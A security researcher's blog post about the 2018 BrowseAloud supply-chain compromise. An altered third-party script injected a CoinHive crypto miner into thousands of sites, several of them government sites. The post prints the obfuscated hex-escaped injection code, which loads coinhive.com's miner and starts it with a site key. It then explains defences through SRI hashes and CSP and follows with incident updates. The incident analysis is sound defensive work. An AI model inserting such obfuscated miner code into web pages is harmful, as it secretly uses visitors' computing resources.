We saw a pretty big event take place over the weekend where a 3rd party provider was compromised and their JS library was altered. The alteration introduced a crypto mining script that was then subsequently included on over 4,000 websites that I know of, many of which were Government websites...
What happened
I had a friend of mine get in touch about his AV program throwing a warning when visiting the ICO website. The ICO bill themselves as:
The UK’s independent authority set up to uphold information rights in the public interest, promoting openness by public bodies and data privacy for individuals.
They're the people we complain to when companies do bad things with our data. It was pretty alarming to realise that they were running a crypto miner on their site, their whole site, every single page.
Ummm, so yeah, this is *bad*. I just had @phat_hobbit point out that @ICOnews has a cryptominer installed on their site... 😮 pic.twitter.com/xQhspR7A2f
— Scott Helme (@Scott_Helme) February 11, 2018
At first the obvious thought is that the ICO were compromised so I immediately started digging into this after firing off a few emails to contact people who may be able to help me with disclosure. I quickly realised though that this script, whilst present on the ICO website, was not being hosted by the ICO, it was included by a 3rd party library they loaded.
The weak link
If you want to load a crypto miner on 1,000+ websites you don't attack 1,000+ websites, you attack the 1 website that they all load content from. In this case it turned out that Text Help, an assistive technology provider, had been compromised and one of their hosted script files changed. The offending asset can be found here (https://www.browsealoud.com/plus/scripts/ba.js) for the duration it remains but here is the snippet that matters.
/* [Warning] Do not copy or self host this file, you will not be supported */
/* BrowseAloud Plus v2.5.0 (13-09-2017) */
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27 \x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x63\x6f\x6d\x2f\x6c\x69\x62\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x6d\x69\x6e\x2e\x6a\x73\x3f\x72\x6e\x64\x3d"+window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]()+"\x27\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74\x3e \x69\x66 \x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79 \x3e \x31\x29\x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79\x2f\x33\x29\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x65\x6c\x73\x65 \x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x38\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x76\x61\x72 \x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77 \x43\x6f\x69\x6e\x48\x69\x76\x65\x2e\x41\x6e\x6f\x6e\x79\x6d\x6f\x75\x73\x28\'\x31\x47\x64\x51\x47\x70\x59\x31\x70\x69\x76\x72\x47\x6c\x56\x48\x53\x70\x35\x50\x32\x49\x49\x72\x39\x63\x79\x54\x7a\x7a\x58\x71\'\x2c \x63\x70\x75\x43\x6f\x6e\x66\x69\x67\x29\x3b\x6d\x69\x6e\x65\x72\x2e\x73\x74\x61\x72\x74\x28\x29\x3b\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
function toggleBar(){debug.trace("Legacy toggleBar()"),(!BrowseAloud.config.isMobile||BrowseAloud.config.isMobile&&BrowseAloud.config.availableMobile)&&BrowseAloud.panel.toggleBar(!0)}var _ba_cv="2.5.0";if(void 0===_baApplicationServer)var......
The ba.js
had been altered to include a document.write
call that added a CoinHive crypto miner to any page it was loaded in to. This is a pretty bad situation to be in and any site that loads that file will now have the crypto miner installed. The sheer number of sites affected by this is huge and some of them are really prominent government websites!
It's also on @uscourts! pic.twitter.com/UyPjzbEsPw
— Scott Helme (@Scott_Helme) February 11, 2018
The Student Loan Company here in the UK: pic.twitter.com/aAq8grshWL
— Scott Helme (@Scott_Helme) February 11, 2018
The General Medical Council: pic.twitter.com/Q59OUr8jnr
— Scott Helme (@Scott_Helme) February 11, 2018
The NHS is directly affected too: pic.twitter.com/PCRBYqYxaa
— Scott Helme (@Scott_Helme) February 11, 2018
That's a lot of government websites and at the time of writing there's a quick search here on PublicWWW that lists over 4,000 sites loading the infected file: https://publicwww.com/websites/browsealoud.com%2Fplus%2Fscripts%2Fba.js/
Preventing these attacks
This is not a particularly new attack and we've known for a long time that CDNs or other hosted assets are a prime target to compromise a single target and then infect potentially many thousands of websites. The thing is though, there's a pretty easy way to defend yourself against this attack. Let's take the ICO as an example, they load the affected file like this:
<script src="//www.browsealoud.com/plus/scripts/ba.js" type="text/javascript"></script>
That's a pretty standard way to load a JS file and the browser will go and fetch that file and include it in the page, along with the crypto miner... Want to know how you can easily stop this attack?
<script src="//www.browsealoud.com/plus/scripts/ba.js" integrity="sha256-Abhisa/nS9WMne/YX+dqiFINl+JiE15MCWvASJvVtIk=" crossorigin="anonymous"></script>
That's it. With that tiny change to how the script is loaded, this attack would have been completely neutralised. What I've done here is add the SRI Integrity Attribute and that allows the browser to determine if the file has been modified, which allows it to reject the file. You can easily generate the appropriate script tags using the SRI Hash Generator and rest assured the crypto miner could not have found its way into the page. To take this one step further and ensure absolute protection, you can use Content Security Policy and the require-sri-for directive to make sure that no script is allowed to load on the page without an SRI integrity attribute. In short, this could have been totally avoided by all of those involved even though the file was modified by hackers. On top of all of that, you could be alerted to events like this happening on your site via CSP Reporting which is literally the reason I founded Report URI. I guess, all in all, we really shouldn't be seeing events like this happen on this scale to such prominent sites.
Other information
The address of the affected script: https://www.browsealoud.com/plus/scripts/ba.js
The whole 3rd party script that was affected: https://pastebin.com/AHyehgS7
The obfuscated script: https://pastebin.com/x772SUQU
The de-obfuscated script: https://pastebin.com/57vPLKAH
My blogs on CSP: https://scotthelme.co.uk/tag/csp/
My blogs on SRI: https://scotthelme.co.uk/tag/sri/
A list of sites most likely hit: https://publicwww.com/websites/browsealoud.com%2Fplus%2Fscripts%2Fba.js/
Update 15:28 11th Feb 2018
TextHelp seem to have dropped the service in response to the attack:
It seems that @texthelp have responded and dropped the whole site: pic.twitter.com/Wymsc7owiw
— Scott Helme (@Scott_Helme) February 11, 2018
Update 16:32 11th Feb 2018
The ICO have taken their site offline:
The @ICOnews website is now offline: pic.twitter.com/GejpDSBAgw
— Scott Helme (@Scott_Helme) February 11, 2018
Update 17:04 11th Feb 2018
It seems the script file was modified between Sun, 11 Feb 2018 02:58:04 GMT and Sun, 11 Feb 2018 13:21:56 GMT.
It seems like the @texthelp script file was modified between Sun, 11 Feb 2018 02:58:04 GMT and Sun, 11 Feb 2018 13:21:56 GMT according to the @internetarchive:https://t.co/jwKLA6mq7Nhttps://t.co/ZHiUJXBpxC
— Scott Helme (@Scott_Helme) February 11, 2018
Update 08:20 12th Feb 2018
TextHelp released a statement overnight:
TextHelp have just released a statement: https://t.co/1HvNFPGxB7
— Scott Helme (@Scott_Helme) February 11, 2018
Update 17:41 13th Feb 2018
Antother update from TextHelp with information on the investigation. Service should now be back on Thursday and they will provide details on how to setup SRI for all customers.
Statement from @texthelp with an update on the investigation: https://t.co/p3oUmrb1MJ pic.twitter.com/QTNWb8SwQg
— Scott Helme (@Scott_Helme) February 13, 2018